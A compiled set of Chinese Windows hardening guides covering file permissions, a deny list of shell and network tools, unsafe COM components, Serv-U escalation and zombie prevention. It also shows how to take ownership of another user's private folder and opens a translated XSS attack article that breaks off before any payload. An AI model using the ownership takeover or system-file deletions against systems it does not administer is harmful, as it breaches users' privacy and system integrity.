打开”我的电脑”,点击”工具→文件夹选项→查看”,接着在然后单击取消”使用简单文件共享(推荐)”复选框即可。
实战权限”正面”应用
以下应用的前提,是被限制的用户不在Administrators组,否则将可能发生越权访问,后面”反面应用”会讲到。执行权限设置的用户至少需要为Power Users组的成员,才有足够权限进行设置。
实例1:我的文档你别看-保护你的文件或文件夹
假设A电脑中有三个用户,用户名分别为User1、User2、User3。Userl不想让User2和User3查看和操作自己的”test”文件夹。
第一步:右击”test”文件夹并选择”属性”,进入”安全”选项卡,你将会看到”组或用户名称”栏里有Administrators(A\Administrators)、CREATOR OWNER、SYSTEM Users(A\Users)、User1(A\ User1)。他们分别表示名为A电脑的管理员组,创建、所有者组,系统组,用户组以及用户User1对此文件夹的权限设置。当然,不同的电脑设置和软件安装情况,此栏里的用户或用户组信息不一定就是和我描述的一样.但正常情况下最少将包含3项之一:Administrators、SYSTEM、Users或Everyone(见图2)。

第二步:依次选中并删除Administrators、CREATOR OWNER、SYSTEM、Users,仅保留自己使用的Userl账户。在操作中可能会遇到如图3的提示框。

其实只要单击”高级”按钮,在”权限”选项卡中,取消”从父项继承那些可以应用到子对象的权限项目,包括那些在此明确定义的项目”的复选框,在弹出对话框中单击”删除”即可。该操作使此文件夹清除了从上一级目录继承来的权限设置,仪保留了你使用的User1账户。
就这么轻松,你就实现了其他用户,甚至系统权限都无法访问”test”文件夹的目的。
★需要注意的是,如果这个文件夹中需要安装软件,那么就不要删除”SYSTEM”,不然可能引起系统访问出错
★Administrator并不是最高指挥官:你可能会问,为什么这里会有一个”SYSTEM”账户呢?同时许多朋友认为windows2000/XP中的Administrator是拥有权限最高的用户,其实不然,这个”SYSTEM”才具有系统最高权限,因为它是”作为操作系统的一部分工作”,任何用户通过某种方法获取了此权限,就能凌驾一切。

——————————————————————————–
实例2:上班时间别聊天-禁止用户使用某程序
第一步:找到聊天程序的主程序,如QQ,其主程序就是安装目录下的QQ.exe,打开它的属性对话框,进入”安全”选项卡,选中或添加你要限制的用户,如User3。
第二步:接着选择”完全控制”为”拒绝”,”读取和运行”也为”拒绝”。
第三步:单击”高级”按钮进入高级权限没置,选中User3,点”编辑”按钮,进入权限项目。在这里的”拒绝”栏中选中”更改权限”和”取得所有权”的复选框。
也可以使用组策略编辑器来实现此功能,但安全性没有上面方法高。点击”开始→运行”,输入”gpedit.msc”,回车后打开组策略编辑器,进入”计算机设置→windows设置→安全设置→软件限制策略→其他规则”,右击,选择”所有任务→新路径规则”,接着根据提示设置想要限制的软件的主程序路径,然后设定想要的安全级别,是”不允许的”还是”受限制的”。

——————————————————————————–
实例3:来者是客--微软内部增强系统安全的秘技
本实战内容将需要管理员权限。所谓入侵,无非就是利用某种方法获取到管理员级别的权限或系统级的权限,以便进行下一步操作,如添加自己的用户。如果想要使入侵者”进来”之后不能进行任何操作呢?永远只能是客人权限或比这个权限更低,就算本地登录,连关机都不可以。那么,他将不能实施任何破坏活动。
注意:此法有较高的危险性.建议完全不知道以下程序用途的读者不要尝试.以免误操作引起系统不能进入或出现很多错误。
第一步:确定要设置的程序
搜索系统目录下的危险程序,它们可以用来创建用户夺取及提升低权限用户的权限,格式化硬盘,引起电脑崩溃等恶意操作:cmd.exe、regedit.exe、regsvr32.exe、regedt32.exe、gpedit.msc、format.com、compmgmt.msc、mmc.exe、telnet.exe、tftp.exe、ftp.exe、XCOPY.EXE、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、net.exe、tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、cscript.exe、netstat.exe、issync.exe、runonce.exe、debug.exe、rexec.exe、wscript.exe、command.com、comsdupd.exe
第二步:按系统调用的可能性分组设置
按照下面分组.设置这些程序权限。完成一组后,建议重启电脑确认系统运行是否一切正常,查看”事件查看器”,是否有错误信息(“控制面板→管理工具→事件查看器”)。
(1)cmd.exe、net.exe gpedit.msc telnet.exe command.com
(仅保留你自己的用户,SYSTEM也删除)
(2)mmc.exe、tftp.exe、ftp.exe、XCOPY.EXE、comsdupd.exe
(仅保留你自己的用户,SYSTEM也删除)
(3)regedit.exe、regedt32.exe、format.com、compmgmt.msc、at.exe、cacls.exe、edlin.exe、rsh.exe、finger.exe、runas.exe、debug.exe、wscript.exe、cscript.exe、rexec.exe
(保留你自己的用户和SYSTEM)
(4)tracert.exe、netsh.exe、tskill.exe、poledit.exe、regini.exe、netstat.exe、issync.exe、runonce.exe、regsvr32.exe
(保留你自己的用户和SYSTEM)
第三步:用户名欺骗
这个方法骗不了经验丰富的入侵者,但却可以让不够高明的伪黑客们弄个一头雾水。
打开”控制面板一管理工具一计算机管理”,找到”用户”,将默认的Administrator和Guest的名称互换,包括描述信息也换掉。完成后,双击假的”Administrator”用户,也就是以前的Guest用户.在其”属性”窗口中把隶属于列表里的Guests组删除.这样.这个假的”管理员”账号就成了”无党派人士”,不属于任何组,也就不会继承其权限。此用户的权限几乎等于0,连关机都不可以,对电脑的操作几乎都会被拒绝。如果有谁处心积虑地获取了这个用户的权限,那么他肯定吐血。
第四步:集权控制,提高安全性
打开了组策略编辑器,找到”计算机设置→windows设置→安全设置→本地策略→用户权利指派”(见图4),接着根据下面的提示进行设置。

(1)减少可访问此计算机的用户数,减少被攻击机会
找到并双击”从网络访问此计算机”,删除账户列表中用户组,只剩下”Administrators”;
找到并双击”拒绝本地登录”,删除列表中的”Guest”用户,添加用户组”Guests”。
(2)确定不想要从网络访问的用户,加入到此”黑名单”内
找到并双击”拒绝从刚络访问这台计算机”,删除账户列表中的”Guest”用户,添加用户组”Guests”;
找到并双击”取得文件或其他对象的所有权”,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除列表中”Administrators”。
(3)防止跨文件夹操作
找到并双击”跳过遍历检查”,添加你所使用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”、”Everyone”和”Users”用户组。
(4)防止通过终端服务进行的密码猜解尝试
找到并双击”通过终端服务拒绝登录”,添加假的管理员账户”Administrator”;找到”通过终端服务允许登录”,双击,添加你常用的账户和以上修改过名称为”Guest”的管理员账户,再删除账户列表中的”Administrators”,”Remote Desktop User”和”HelpAssistant”(如果你不用远程协助功能的话才可删除此用户)。
(5)避免拒绝服务攻击
找到并双击”调整进程的内存配额”,添加你常用的账户,再删除账户列表中的”Administrators”

——————————————————————————–
实例4:”你的文档”别独享——突破文件夹”私有”的限制
windows XP安装完成并进入系统时,会询问是否将”我的文档”设为私有(专用),如果选择了”是”,那将使该用户下的”我的文档”文件夹不能被其他用户访问,删除,修改。其实这就是利用权限设置将此文件夹的访问控制列表中的用户和用户组删除到了只剩下系统和你的用户,所有者也设置成了那个用户所有,Administrators组的用户也不能直接访问。如果你把这个文件夹曾经设置为专用,但又在该盘重装了系统,此文件夹不能被删除或修改。可按照下面步骤解决这些问题,让你对这个文件夹的访问,畅通无阻。
第一步:登录管理员权限的账户,如系统默认的Administrator,找到被设为专用的”我的文档”,进入其”属性”的”安全”选项卡,你将会看到你的用户不在里面,但也无法添加和删除。
第二步:单击”高级”按钮,进入高级权限设置,选择”所有者”选项卡,在”将所有者更改为”下面的列表中选中你现在使用的用户,如”Userl(A\Userl)”,然后再选中”替换子容器及对象的所有者”的复选框,然后单击”应用”,等待操作完成。
第三步:再进入这个文件夹看看,是不是不会有任何权限的提示了?可以自由访问了?查看里面的文件,复制、删除试试看.是不是一切都和”自己的”一样了?嘿嘿。如果你想要删除整个文件夹,也不会有什么阻止你了。

SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp 改3389 的

Windows2003基本的web服务器安全设置
栏目: | 作者:青鳥南飛 | 点击:164 | 回复:0 | 2006-6-26 14:40:39
基本的服务器安全设置
1、安装补丁

安装好操作系统之后,最好能在托管之前就完成补丁的安装,配置好网络后,如果是2000则确定安装上了SP4,如果是2003,则最好安装上SP1,然后点击开始→Windows Update,安装所有的关键更新。

2、安装杀毒软件

至于杀毒软件目前我使用有两款,一款是瑞星,一款是诺顿,瑞星杀木马的效果比诺顿要强,我测试过病毒包,瑞星要多杀出很多,但是装瑞星的话会有一个问题就是会出现ASP动态不能访问,这时候需要重新修复一下,具体操作步骤是:

关闭杀毒软件的所有的实时监控,脚本监控。

╭═══════════════╮╭═══════════════╮

在Dos命令行状态下分别输入下列命令并按回车(Enter)键:

regsvr32 jscript.dll (命令功能:修复Java动态链接库)

regsvr32 vbscript.dll (命令功能:修复VB动态链接库)

╰═══════════════╯╰═══════════════╯

不要指望杀毒软件杀掉所有的木马,因为ASP木马的特征是可以通过一定手段来避开杀毒软件的查杀。

3、设置端口保护和防火

2003的端口屏蔽可以通过自身防火墙来解决,这样比较好,比筛选更有灵活性,桌面—>网上邻居—>(右键)属性—>本地连接—>(右键)属性—>高级—>(选中)Internet 连接防火墙—>设置

把服务器上面要用到的服务端口选中

例如:一台WEB服务器,要提供WEB(80)、FTP(21)服务及远程桌面管理(3389)

在“FTP 服务器”、“WEB服务器(HTTP)”、“远程桌面”前面打上对号

如果你要提供服务的端口不在里面,你也可以点击“添加”铵钮来添加,具体参数可以参照系统里面原有的参数。

然后点击确定。注意:如果是远程管理这台服务器,请先确定远程管理的端口是否选中或添加。

权限设置

权限设置的原理

?WINDOWS用户,在WINNT系统中大多数时候把权限按用户(組)来划分。在【开始→程序→管理工具→计算机管理→本地用户和组】管理系统用户和用户组。

?NTFS权限设置,请记住分区的时候把所有的硬盘都分为NTFS分区,然后我们可以确定每个分区对每个用户开放的权限。【文件(夹)上右键→属性→安全】在这里管理NTFS文件(夹)权限。

?IIS匿名用户,每个IIS站点或者虚拟目录,都可以设置一个匿名访问用户(现在暂且把它叫“IIS匿名用户”),当用户访问你的网站的.ASP文件的时候,这个.ASP文件所具有的权限,就是这个“IIS匿名用户”所具有的权限。

权限设置

磁盘权限

系统盘及所有磁盘只给 Administrators 组和 SYSTEM 的完全控制权限

系统盘\Documents and Settings 目录只给 Administrators 组和 SYSTEM 的完全控制权限

系统盘\Documents and Settings\All Users 目录只给 Administrators 组和 SYSTEM 的完全控制权限

系统盘\Inetpub 目录及下面所有目录、文件只给 Administrators 组和 SYSTEM 的完全控制权限

系统盘\Windows\System32\cacls.exe、cmd.exe、net.exe、net1.exe 文件只给 Administrators 组和 SYSTEM 的完全控制权限

4、禁用不必要的服务

开始菜单—>管理工具—>服务

Print Spooler

Remote Registry

TCP/IP NetBIOS Helper

Server

以上是在Windows Server 2003 系统上面默认启动的服务中禁用的,默认禁用的服务如没特别需要的话不要启动。

改名或卸载不安全组件

不安全组件不惊人

在阿江探针1.9里加入了不安全组件检测功能(其实这是参考7i24的代码写的,只是把界面改的友好了一点,检测方法和他是基本一样的),这个功能让很多站长吃惊不小,因为他发现他的服务器支持很多不安全组件。

其实,只要做好了上面的权限设置,那么FSO、XML、strem都不再是不安全组件了,因为他们都没有跨出自己的文件夹或者站点的权限。那个欢乐时光更不用怕,有杀毒软件在还怕什么时光啊。

最危险的组件是WSH和Shell,因为它可以运行你硬盘里的EXE等程序,比如它可以运行提升程序来提升SERV-U权限甚至用SERVU来运行更高权限的系统程序。

谨慎决定是否卸载一个组件

组件是为了应用而出现的,而不是为了不安全而出现的,所有的组件都有它的用处,所以在卸载一个组件之前,你必须确认这个组件是你的网站程序不需要的,或者即使去掉也不关大体的。否则,你只能留着这个组件并在你的ASP程序本身上下工夫,防止别人进来,而不是防止别人进来后SHELL。

比如,FSO和XML是非常常用的组件之一,很多程序会用到他们。WSH组件会被一部分主机管理程序用到,也有的打包程序也会用到。

5、卸载最不安全的组件

最简单的办法是直接卸载后删除相应的程序文件。将下面的代码保存为一个.BAT文件,( 以下均以 WIN2000 为例,如果使用2003,则系统文件夹应该是 C:\WINDOWS\ )

regsvr32/u C:\WINNT\System32\wshom.ocx

del C:\WINNT\System32\wshom.ocx

regsvr32/u C:\WINNT\system32\shell32.dll

del C:\WINNT\system32\shell32.dll

然后运行一下,WScript.Shell, Shell.application, WScript.Network就会被卸载了。可能会提示无法删除文件,不用管它,重启一下服务器,你会发现这三个都提示“×安全”了。

改名不安全组件

需要注意的是组件的名称和Clsid都要改,并且要改彻底了。下面以Shell.application为例来介绍方法。

打开注册表编辑器【开始→运行→regedit回车】,然后【编辑→查找→填写Shell.application→查找下一个】,用这个方法能找到两个注册表项:“{13709620-C279-11CE-A49E-444553540000}”和“Shell.application”。为了确保万无一失,把这两个注册表项导出来,保存为 .reg 文件。

比如我们想做这样的更改

13709620-C279-11CE-A49E-444553540000 改名为 13709620-C279-11CE-A49E-444553540001

Shell.application 改名为 Shell.application_ajiang

那么,就把刚才导出的.reg文件里的内容按上面的对应关系替换掉,然后把修改好的.reg文件导入到注册表中(双击即可),导入了改名后的注册表项之后,别忘记了删除原有的那两个项目。这里需要注意一点,Clsid中只能是十个数字和ABCDEF六个字母。

下面是我修改后的代码(两个文件我合到一起了):

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}]

@=”Shell Automation Service”

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\InProcServer32]

@=”C:\\WINNT\\system32\\shell32.dll”

“ThreadingModel”=”Apartment”

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\ProgID]

@=”Shell.Application_ajiang.1″

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\TypeLib]

@=”{50a7e9b0-70ef-11d1-b75a-00a0c90564fe}”

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\Version]

@=”1.1″

[HKEY_CLASSES_ROOT\CLSID\{13709620-C279-11CE-A49E-444553540001}\VersionIndependentProgID]

@=”Shell.Application_ajiang”

[HKEY_CLASSES_ROOT\Shell.Application_ajiang]

@=”Shell Automation Service”

[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CLSID]

@=”{13709620-C279-11CE-A49E-444553540001}”

[HKEY_CLASSES_ROOT\Shell.Application_ajiang\CurVer]

@=”Shell.Application_ajiang.1″

你可以把这个保存为一个.reg文件运行试一下,但是可别就此了事,因为万一黑客也看了我的这篇文章,他会试验我改出来的这个名字的。

6、防止列出用户组和系统进程

在阿江ASP探针1.9中结合7i24的方法利用getobject(“WINNT”)获得了系统用户和系统进程的列表,这个列表可能会被黑客利用,我们应当隐藏起来,方法是:

【开始→程序→管理工具→服务】,找到Workstation,停止它,禁用它。

防止Serv-U权限提升

其实,注销了Shell组件之后,侵入者运行提升工具的可能性就很小了,但是prel等别的脚本语言也有shell能力,为防万一,还是设置一下为好。

用Ultraedit打开ServUDaemon.exe查找Ascii:LocalAdministrator,和#l@$ak#.lk;0@P,修改成等长度的其它字符就可以了,ServUAdmin.exe也一样处理。

另外注意设置Serv-U所在的文件夹的权限,不要让IIS匿名用户有读取的权限,否则人家下走你修改过的文件,照样可以分析出你的管理员名和密码。

利用ASP漏洞攻击的常见方法及防范

一般情况下,黑客总是瞄准论坛等程序,因为这些程序都有上传功能,他们很容易的就可以上传ASP木马,即使设置了权限,木马也可以控制当前站点的所有文件了。另外,有了木马就然后用木马上传提升工具来获得更高的权限,我们关闭shell组件的目的很大程度上就是为了防止攻击者运行提升工具。

如果论坛管理员关闭了上传功能,则黑客会想办法获得超管密码,比如,如果你用动网论坛并且数据库忘记了改名,人家就可以直接下载你的数据库了,然后距离找到论坛管理员密码就不远了。

作为管理员,我们首先要检查我们的ASP程序,做好必要的设置,防止网站被黑客进入。另外就是防止攻击者使用一个被黑的网站来控制整个服务器,因为如果你的服务器上还为朋友开了站点,你可能无法确定你的朋友会把他上传的论坛做好安全设置。这就用到了前面所说的那一大堆东西,做了那些权限设置和防提升之后,黑客就算是进入了一个站点,也无法破坏这个网站以外的东西。

QUOTE:
c:\
administrators 全部
system 全部
iis_wpg 只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限

c:\inetpub\mailroot
administrators 全部
system 全部
service 全部

c:\inetpub\ftproot
everyone 只读和运行

c:\windows
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取
Users 读取和运行(此权限最后调整完成后可以取消)

C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取

C:\WINDOWS\Microsoft.Net
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 读取和运行,列出文件夹目录,读取

C:\WINDOWS\Microsoft.Net\temporary ASP.NET Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
Users 全部

c:\Program Files
Everyone 只有该文件夹
不是继承的
列出文件夹/读数据
administrators 全部
iis_wpg 只有该文件夹
列出文件/读数据
读属性
读扩展属性
读取权限

c:\windows\temp
Administrator 全部权限
System 全部权限
users 全部权限

c:\Program Files\Common Files
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users(如果有这个用户)
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取

如果安装了我们的软件:
c:\Program Files\LIWEIWENSOFT
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部
system 全部
IIS_WPG 读取和运行,列出文件夹目录,读取

c:\Program Files\Dimac(如果有这个目录)
Everyone 读取和运行,列出文件夹目录,读取
administrators 全部

c:\Program Files\ComPlus Applications (如果有)
administrators 全部

c:\Program Files\GflSDK (如果有)
administrators 全部
Creator owner
不是继承的
只有子文件夹及文件
完全
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部
TERMINAL SERVER Users
修改,读取和运行,列出文件夹目录,读取,写入
Users 读取和运行,列出文件夹目录,读取
Everyone 读取和运行,列出文件夹目录,读取

c:\Program Files\InstallShield Installation Information (如果有)
c:\Program Files\Internet Explorer (如果有)
c:\Program Files\NetMeeting (如果有)
administrators 全部

c:\Program Files\WindowsUpdate
Creator owner
不是继承的
只有子文件夹及文件
完全
administrators 全部
Power Users
修改,读取和运行,列出文件夹目录,读取,写入
system 全部

c:\Program Files\Microsoft SQL(如果SQL安装在这个目录)
administrators 全部
Service 全部
system 全部

c:\Main (如果主控端网站放在这个目录)
administrators 全部
system 全部
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
读取和运行

d:\ (如果用户网站内容放置在这个分区中)
administrators 全部权限

d:\FreeHost (如果此目录用来放置用户网站内容)
administrators 全部权限
SERVICE 读取与运行
system 读取与运行(全部权限,如果安装了一流信息监控)

F:\ (如果此分区用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限

F:\SQLDATA (如果此目录用来放置SQL2000用户数据库)
administrators 全部权限
System 全部权限
SQL2000的运行用户全部权限

从安全角度,我们建议WebEasyMail(WinWebMail)安装在独立的盘中,例如E:
E:\(如果webeasymail安装在这个盘中)
administrators 全部权限
system 全部权限
IUSR_*,默认的Internet来宾帐户(或专用的运行用户)
只有该文件夹
列出文件夹/读数据
读属性
读扩展属性
读取权限
E:\WebEasyMail (如果webeasymail安装在这个目录中)
administrators 全部
system 全部权限
SERVICE 全部
IUSR_*,默认的Internet来宾帐户 (或专用的运行用户)
全部权限

C:\php\uploadtemp
C:\php\sessiondata
everyone
全部

C:\php\
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行

c:\windows\php.ini
administrators 全部
system 全部权限
SERVICE 全部
Users 只读和运行

如何防止自己成为别人的“肉鸡”?

肉鸡是指被黑客控制的网络设备的统称。常见的有个人电脑、服务器,也有你想不到的,如街头信息亭、街头摄像头等等只要跟网络有关的东西都可以。看过《虎胆龙威4》的话,您可能会对黑客有一个新的理解,网络安全问题现在已经成为了网络的头等大事,那我们自己的电脑的安全怎么保障呢?

一、防止主机成为肉鸡的安全技术措施

1、利用操作系统自身功能加固系统

通常按默认方式安装的操作系统,如果不做任何安全加固,那么其安全性难以保证。攻击者稍加利用便可使其成为肉鸡。因此,防止主机成为肉鸡的第一步,便是系统加固。

鉴于目前大部分用户仍然使用Windows XP,因此,本文所有内容都基于Windows XP。

(1)加强系统登录帐户和密码的安全

系统设置的密码应当符合复杂性和最小长度的要求,不仅要包括常用英文字母、数字、字母大小写,最好还可以加入特殊字符(如@等),而且密码的字符数不应该小于8位。

另外,为了防止黑客通过默认帐户登录系统,我们建议为管理员帐号设置密码并禁用guest账户。

(2)取消远程协助和远程桌面连接

用鼠标右击桌面上的“我的电脑”图标,选择“属性”,在“系统属性”中选择“远程”选项卡,然后取消“远程协助”和“远程桌面连接”复选框中的钩。

(3)禁用危险的系统服务

在Windows XP系统中,一些端口与相应的系统服务是相关联的,有的服务还与系统中的特定端口相关联,例如Terminal Services服务与3389端口关联。因此,禁用一些不需要的服务,不仅能降低系统资源消耗,而且能增强系统安全性。

在“开始”——“运行”框中输入“services.msc”,按回车后进入“服务”管理界面。禁用以下服务:

NetMeeting Remote Desktop Sharing

Remote Desktop Help Session Manager

Remote Registry

Routing and Remote Access

Server

TCP/IP NetBIOS Helper

Telnet

Terminal Services

(4)关闭137、138、139和445端口

用鼠标右击桌面中的“网上邻居”,选择“属性”。在“本地连接”界面,打开“Internet协议(TCP/IP)”的属性对话框。在此对话框 中,单击“高级”按钮,选择“WINS”选项,然后选择“禁用TCP/IP上的NetBIOS”,这样就关闭了137、138和139端口。同时,通过取 消“本地连接”属性中的“Microsoft 打印机和文件共享”可以关闭445端口。

(5)启动系统审核策略

“开始”——“运行”框中输入“gpedit.msc”进入组策略编辑器,在计算机配置——Windows设置——安全设置——本地策略——审核策略中,将审核登录事件、审核对象访问、审核系统事件和审核帐户登录事件启用成功方式的审核。

(6)用户权利指派

同样在组策略编辑器,在计算机配置——Windows设置——安全设置——本地策略——用户权利指派中,将“从网络访问此计算机”策略中的所用 用户都删除,在“拒绝从网络访问此计算机”策略中确保已有“everyone”帐户,然后再删除“通过终端服务允许登录”策略中的所有用户,并确保在“通 过终端服务拒绝登录”策略中有“everyone”帐户。

(7)禁用系统默认共享

在组策略编辑器中,计算机配置——Windows设置——安全设置——安全选项,将“网络访问:不允许SAM帐户的匿名枚举”及“网络访问:不 允许SAM帐户和共享的匿名枚举”全部启用;将“网络访问:可匿名访问的共享”、“可匿名访问的管道”及“可远程访问的注册表路径”中的内容全部删除。

打开注册表编辑器,进入 HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesLanmanServerParameters 项,在其右边新建一个键值名为“Autoshareserver”,键值为0的DWORD值,这样就可以禁止系统C$、D$、E$等方式的共享;为了能禁 止admin$共享,还应当在此注册表项中新建一个键值名为“Autosharewks”,键值为0的DWORD值。

最后,打开“资源管理器”,选择“工具”菜单中的“文件夹选项”,在出现的文件夹选项界面中的“高级设置”框中,取消“使用简单文件共享”的多项选择项。

2、使用安全软件加固操作系统

对加固操作系统安全性而言,我们还可以通过安装相应的安全软件来进一步增强系统的安全性能。

(1)安装杀毒软件

在系统中安装杀毒软件主要用来防止黑客通过木马来控制我们的主机。当我们安装好杀毒软件后,一定要立即更新病毒库到最新状态,如有必要,还应当设置每天按时自动更新病毒库。

(2)安装防火墙

黑客的入侵活动通常是从扫描系统中是否开放有高危端口开始的,因此,禁用高危端口(如135、137、138、139、445、3389等)十分必要。虽然前面介绍了如何

通过手工的方式关闭系统高位端口,这里借助安全软件同样可以起到加固作用。同时,我们还应当限制系统中能够与互联网通信的进程和应用程序,以减少网络应用程序本身漏洞带来的安全风险。

虽然Windows XP系统本身带有一个“Internet 防火墙”,但它远远不能满足日益增长的安全防范需求,因此,我们通过安装第三方防火墙软件来解决这些问题。

现在市面上存在的防火墙不仅具有包过滤和应用程序跟踪的基本防火墙功能,它们还具有属于自己的独特功能。例如,Tiny Firewall防火墙。它不仅具有普通应用层防火墙的功能,还具有IDS、文件完整性检测和主动防御的功能。并且还为用户提供了一个实时网络连接监控功 能,可以让用户随时掌握当前的网络连接情况,了解连接的网络应用程序都使用了哪些端口,连接到了什么目标上,并直接显示出对方的IP地址。图1就是它的网 络连接监控界面。

(3)使用代理服务器

黑客要想扫描计算机,就必需先知道计算机连网公网IP地址。如果能够隐藏这个公网IP地址,将为黑客的攻击行为增加难度。隐藏IP地址最好的方 式就是使用代理服务器。对于普通的网络用户来说,可以通过使用HTTP代理和在计算机上安装简单的代理软件来达到隐藏IP地址的目的。

使用HTTP代理非常简单,进入提供此功能的网站,例如http://www.web4proxy.com/,如图2所示。在“开始浏览”按钮前的文本框中填入要访问的站点,就可以通过隐藏IP的方式浏览想访问的网站了。

但是,使用HTTP代理只能防止由于浏览网页而泄漏IP地址的风险,要想隐藏其它网络活动时的IP地址,例如进行的QQ聊天和玩网络游戏等网络应用,就必需通过在系统中安装代理服务器软件的方法来解决。

Waysonline是一个不需要安装的代理服务器软件,在使用前,要先免费注册

输入注帐户和密码后登录。此时,右击Windows任务栏中的绿色“W”图标,在此菜单中的“运行程序”菜单项中,可以由我们选择代理的各种方式。

二、防止主机成为肉鸡的安全管理措施

就算我们对系统的安全技术措施做得再好,如果不能对系统进行有效的安全管理和对自己的网络行为进行有效的控制,那么,这些已经实施了的安全技术措施,就成为了一种没有实际作用的摆设而已。

对系统实施安全管理措施可以分成两个部分来执行:其一为系统安全管理,其二就是用户网络操作行为管理。

1、系统安全管理

一个全面的系统安全管理应当包括下列所示的内容:

(1)操作系统漏洞补丁管理。为系统打补丁是一件非常重要的工作,我们可以通过360安全卫士的“修复系统漏洞”功能来完成。

(2)网络应用程序版本更新。我们应当及时升级QQ、MSN及网络浏览器等应用程序到最新版本。

(3)杀毒软件病毒库和防火墙规则审查。虽然杀毒软件都可以通过自动更新方式更新病毒库,我还是建议你养成按时手动更新病毒库的习惯,并且,在 每次手动杀毒前进行手动更新病毒库一次。同时,对于防火墙规则,尤其是应用程序规则,我们要经常检查是否添加了不明规则,以便及时取消。

(4)定期检查系统审核日志。经常检查这些审核产生的日志,能及时发现系统是否已经被入侵,或者已经受到过某种入侵行为的侵扰。

(5)在使用计算机过程中,要养成查看系统运行进程的习惯。通过360安全卫士的“系统全面诊断”就能查看到当前系统中正在运行的进程的详细信息。

(6)要经常查看目前的网络连接情况。如果你没有安装上面提到的Tiny Firewall防火墙,仍然可以通过360安全卫士“高级”选项卡中的“网络连接状态”来了解当前系统的网络连接状况。

2、用户网络操作行为控制

要控制的网络行为方面包括:

(1)使用安全性能高的浏览器。只去正规的网站浏览新闻,下载MP3、MP4和软件等。

(2)要养成只在浏览器地址栏中输入URL访问网站的习惯。例如,一些网上银行都使用了一种叫做EV-SSL认证的方式来标明网站的真实性,如 果用户发现自己IE8浏览器地址栏中的URL地址变成了绿色,那么就可以肯定这个网站是真实的。再加上不要轻易点击电子邮件或QQ等即时聊天软件界面中的 网站链接,就可以很好地减少被网络钓鱼攻击的风险。

(3)不要浏览色情、赌博等网站。

(4)不要轻易接受QQ或MSN好友发来的下载链接,除非你知道它们是安全可靠的。

(5)应当使用安全性能高的网络应用程序。例如搜索引擎最好使用Google,它能够将搜索到的可能含有某种安全风险的网站直接标识出来,并且不能进入。使用安全性高的应用程序,能大大减少被木马控制的风险。

(6)对于突然接到的某个自称是电信、计算机销售商及银行等企业的服务人员打来的电话,如果你不熟悉这个电话号码,或者不熟悉对方的声音,你一 定要提高警惕。尤其当他们向你询问有关系统、电子邮件、网上银行帐户等机密信息时,你一定要马上拒绝。我们只有对与此相似的事件保持高度的怀疑,才能有效 地防止黑客通过社会工程的方式来攻击我们。

总而言之,只有网络用户认识认真细致地对系统实施相应的安全技术和安全管理措施,才能在计算机生命周期的各个阶段防止自己的计算机成为黑客们的肉鸡。

跨站脚本-攻击和防御指向

先久以前翻译的一篇文章,在这里归下档。

原文:milw0rm.com
作者:Xylitol
翻译:老臧

摘要:
1>什么是XSS?
2>XSS脚本攻击
3>制造一个cookie攻击
4>保护XSS
5>笨方法
6>过滤绕过
7>Flash攻击
8>XSS 上传
9>XSS 钓鱼

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 1 – 什么是XSS? :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

跨站脚本的脚本是一个浏览器,同时利用利用一个漏洞为基础的安全解决方案。 这次袭击使内容(脚本) ,在无特权区被执行与权

限的一个特权区-即一个特权升级与客户端(浏览器)执行脚本。这些漏洞有可能是:

* Web浏览器的漏洞,这在一定条件下,允许内容(脚本)在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击

用命令攻击要有如下两个步骤:
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一

些恶意操作.

当这个攻击完成后,将有恶意软件(像蠕虫\远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。

____ ____
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |
| / /.:Chapter 2 – XSS脚本攻击 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\

新建一个文本文档,把下面的代码放进:
<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=iso-8859-1″ />

